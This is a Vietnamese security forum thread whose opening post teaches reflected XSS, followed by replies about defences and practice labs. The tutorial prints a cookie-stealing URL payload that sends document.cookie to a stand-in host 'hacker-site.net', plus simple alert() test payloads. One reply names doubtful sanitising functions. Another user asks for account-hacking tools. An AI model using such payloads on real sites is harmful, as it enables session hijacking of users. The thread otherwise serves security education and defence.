Web8: Các kiểu khai thác XSS – Phần 1: Reflected XSS

ping

VIP Members
19/06/2013
57
101 bài viết
Web8: Các kiểu khai thác XSS – Phần 1: Reflected XSS
Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, được mệnh danh là Godfather of Attack, và trong nhiều năm liền được liệt vào danh sách những kỹ thuật tấn công nguy hiểm nhất với ứng dụng web.
Không gọi là tắt là CSS để tránh nhầm lẫn với khái niệm Cascading Style Sheet của HTML.
Kỹ thuật XSS được thực hiện dựa trên việc chèn các đoạn script nguy hiểm vào trong source code ứng dụng web. Nhằm thực thi các đoạn mã độc Javascript để chiếm phiên đăng nhập của người dùng.
Để hiểu rõ hơn, chúng ta xét ví dụ sau. Một ứng dụng web cho phép in ra giá trị mà chúng ta truyền vào thông qua URL, giả sử truyền vào biến name giá trị Ping
Mọi chuyện đến giờ vẫn ổn, chúng ta xem lại source code html
Điều dễ nhận thấy là giá trị tên mà chúng ta nhập vào đã được chèn vào source code. Vậy thì có khả năng là cái gì nhập vào cũng có thể được chèn vào. Vấn đề sẽ trở nên nghiêm trọng nếu như giá trị được nhập vào không phải là một chuỗi bình thường như trên mà là một đoạn mã lệnh có khả năng gây nguy hiểm, đại loại như thế này:
alert(document.cookie)
Thử lại với giá trị trên:
Từ ví dụ này có thể kết luận 2 điều. Thứ nhất biến name có thể nhận giá trị đầu vào bất kỳ và truyền lên server xử lý. Thứ 2, server đã không kiểm soát giá trị đầu vào này trước khi trả về cho trình duyệt. Dẫn đến việc đoạn mã javascript đã bị chèn vào trong source code.
XSS nói chung được chia làm 3 loại chính là Reflected, Stored và DOM based. Trong bài viết này tôi sẽ đề cập chính đến kỹ thuật Reflected XSS.
Có đến 75% kỹ thuật XSS dựa trên Reflected XSS. Gọi là reflected(phản xạ) bởi vì trong kịch bản khai thác loại này, hacker phải gửi cho nạn nhân một URL có chứa đoạn mã nguy hiểm(thường là javascript). Nạn nhân chỉ cần request đến URL này thì ngay lập tức hacker sẽ nhận được respond chứa kết quả mong muốn(tính phản xạ thể hiện ở đây). Ngoài ra nó còn được biết đến với tên gọi first-order XSS.
Kịch bản khai thác trong thực tế

Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên website.
Chi tiết được mô tả theo các bước như sau:

  1. Người dùng đăng nhập web và giả sử được gán session:
    Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
  2. Bằng cách nào đó, hacker gửi được cho người dùng URL:
    http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
    Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của hacker tạo ra
  3. Nạn nhân truy cập đến URL trên
  4. Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request(đoạn javascript của hacker)
  5. Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript
  6. Đoạn javascript mà hacker tạo ra thực tế như sau:
    Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng:

    GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
  7. Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có.

Thực hành:
Google có tạo 1 trang để thực hành khai thác lỗi XSS ở đây:https://xss-game.appspot.com

Mục tiêu của các challenge này là bạn phải inject các đoạn script để có thể bật ra được một cái popup
Ở challenge đầu tiên chính là minh họa cho kỹ thuật reflected, mã khai thác khá đơn giản:

Mã:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Các bạn có thể vào đấy hoặc tham gia whitehat contest để thực hành khai thác XSS
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: linh24 and tinhtv
Re: Các kiểu khai thác XSS – Phần 1: Reflected XSS

Hiện tại XSS đang là lỗi được khai thác nhiều nhất để cho các bug hunter khai thác và lấy tiền thưởng từ Facebook, Google.... :D
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Web8: Các kiểu khai thác XSS – Phần 1: Reflected XSS

Vậy câu hỏi là: Làm sao để lập trình web vô hiệu hóa lỗi này?
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Web8: Các kiểu khai thác XSS – Phần 1: Reflected XSS

myquartz;16117 đã viết:
Vậy câu hỏi là: Làm sao để lập trình web vô hiệu hóa lỗi này?
Trong javascript và php có rất nhiều hàm kiểm tra dữ liệu đầu vào để làm giảm bớt khả năng tấn công này có thể xảy ra. Ví dụ: $removexss(), $input_stripe Để phòng ngừa, hãy luôn cập nhật trình duyệt tới phiên bản mới nhất, bởi vì bản thân các trình duyệt hiện nay đã tích hợp sẵn các công nghệ để loại bỏ tấn công này. Ví dụ: chrome có chrome xss audit, IE có XSS Filter....
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Web8: Các kiểu khai thác XSS – Phần 1: Reflected XSS

vậy nếu tôi không sử dụng php? Tôi dùng 1 thứ khác, ví dụ Java, Perl hoặc Python?
và đặc biệt, khách hàng của tôi nhiều người họ vẫn dùng trình duyệt cũ, dù tôi đã nhắc nhở nhiều nhưng họ không cập nhật, họ thà ... bỏ site của tôi còn hơn là phải cập nhật.
Vậy làm sao tôi có thể bảo vệ, ít nhất là site của tôi, tránh khỏi XSS?
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Web8: Các kiểu khai thác XSS – Phần 1: Reflected XSS

myquartz;16124 đã viết:
vậy nếu tôi không sử dụng php? Tôi dùng 1 thứ khác, ví dụ Java, Perl hoặc Python?
và đặc biệt, khách hàng của tôi nhiều người họ vẫn dùng trình duyệt cũ, dù tôi đã nhắc nhở nhiều nhưng họ không cập nhật, họ thà ... bỏ site của tôi còn hơn là phải cập nhật.
Vậy làm sao tôi có thể bảo vệ, ít nhất là site của tôi, tránh khỏi XSS?
Hầu hết mọi framework (dù là java, asp.net,python,...) đều hỗ trợ chống lỗi này, có thể là hỗ trợ thư viện/hàm encode hoặc 1 số FW mặc định các UI của nó đã encode cho mình rồi. Nếu không có thể viết 1 hàm encode rồi gọi hàm này xử lý validate thôi.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Web8: Các kiểu khai thác XSS – Phần 1: Reflected XSS

không học giỏi Tiếng Anh với không gặp mấy lỗi này đọc cmt của mấy thánh thật khó khăn quá đi
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bài viết rất hay.
Trước đây em từng nghe 1 vị tiền bói kêu là xss còn có thể loại tấn công lừa người dùng click link của attacker rồi sau đó browser của nạn nhân sẽ tự động download mã độc về máy nạn nhân và thực thi.
Trong trường hợp này thì mục tiêu của kẻ tấn công không còn là server mà là client em muốn biết là phương thức tấn công đó có nằm trong loại Reflected XSS hay không hoặc phương thức đó có thực sự tồn tại.
em xin cảm ơn
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Thực hành:
Google có tạo 1 trang để thực hành khai thác lỗi XSS ở đây:https://xss-game.appspot.com

Mục tiêu của các challenge này là bạn phải inject các đoạn script để có thể bật ra được một cái popup
Ở challenge đầu tiên chính là minh họa cho kỹ thuật reflected, mã khai thác khá đơn giản:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Các bạn có thể vào đấy hoặc tham gia whitehat contest để thực hành khai thác XSS

Sao em khai thác thử mà không được vậy anh
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Chào các tiền bối. Các tiền bối cho em hỏi phương pháp hack acc chủ động trên https là như thế nào và tools hack. Em đang dùng kali linux 2017. Tiền bối có thể giúp em đươc không. Thanks
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bài viết dễ hiểu quá
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Thực hành:
Google có tạo 1 trang để thực hành khai thác lỗi XSS ở đây:https://xss-game.appspot.com

Mục tiêu của các challenge này là bạn phải inject các đoạn script để có thể bật ra được một cái popup
Ở challenge đầu tiên chính là minh họa cho kỹ thuật reflected, mã khai thác khá đơn giản:
cho em hỏi là còn trang nào khác nữa không ạ? cảm ơn rất nhiều
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Lỗi ảnh rồi ad ơi
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên